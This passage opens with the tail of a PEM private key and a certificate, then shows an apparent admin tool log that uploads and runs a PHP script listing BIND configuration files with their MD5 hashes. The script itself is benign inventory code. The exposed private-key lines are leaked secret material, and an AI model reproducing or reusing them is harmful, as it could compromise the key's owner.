ypWxHdYEB/2hr/vZi2H42jBXDdxiBWS3Xy5QhNhPqeuJtusD38CHyKNllrBKmWjs
F+PycFCvUiThQ9HjdF69+5OCLwKBgQDLbGJ6GO/xJIGtLFSJMah8m6AReahwDsQw
dKqlofZz+0RPsq4Osl0dVEHfQ8h+tGNyAsUJODa74BqYX2dx7yV4AsIk0BSCcmsL
5399RftygLFLtQcdmIdMeOJmjMYCnTDuWwkN0ibBsoeQW55ZpzT4RP1GHSkCz2Sg
8Auzv6glCwKBgQDD+4RHs9uDKvc0f0TLaUb9fdeX5WG5te4ePsFmMRQxDhRvJGq0
2jkulqFkKjROuAsVX97uV8FJFUG/wZSac/tdOa5lRXmmzyhzDHhAYKK7t12Njcnw
89D8RbYI1gGm2Dtw8oyBJ1jzjHiJ9y+ebIslMuIQvqZEvSdLZOZNFJ7vSwKBgB/2
Go7mhiSUQM+trGaV58wUQ5UbUUyx9T9LxVga13cnnncLMu/aNGkcSPFEXCcUPp+2
MbEeJPNl5afVLZKoKXHutQRFsUNBqPII4G4VZcl60OB9Q+3xfiiUwbWtHptgiUSa
BxUl1LMQUt5qlrmtXNQ5OrYedMgdP8lNjfki/s87AoGBAKi7orZEksK6Nk7UJfsz
YaJ0IwauKIZsrYC5RXKLLGCuMmYE7GoG3E9Wo/4sQEFrFc8NVl6tkjKfRcVFehXU
B7OPTR3ec1L2GruxV4NbWValYU9LrKhQldDf1T/uNCQjLkRmDDkz94J0ZwL2Ztht
oQXqEpwO0A8ARydPcgD+CPKR
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-01-03 19:25:09: Establishing a connection
2026-01-03 19:25:10: 

PUT: /tmp/pkp806512

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:25:10: 

runuser -l bind -s /bin/bash -c '/tmp/pkp806512; rm /tmp/pkp806512'

2026-01-03 19:25:10: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 3a99231277d1ec09b0a37cd18d994fb6
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 8035060c9ed3fa6a173f4ccf42dc82d5
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-01-03 19:28:03: Establishing a connection
2026-01-03 19:28:03: 

PUT: /tmp/pkp672414

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-01-03 19:28:04: 

runuser -l bind -s /bin/bash -c '/tmp/pkp672414; rm /tmp/pkp672414'

2026-01-03 19:28:04: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= da5950cd780a6130ceaaf046681acc0d
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
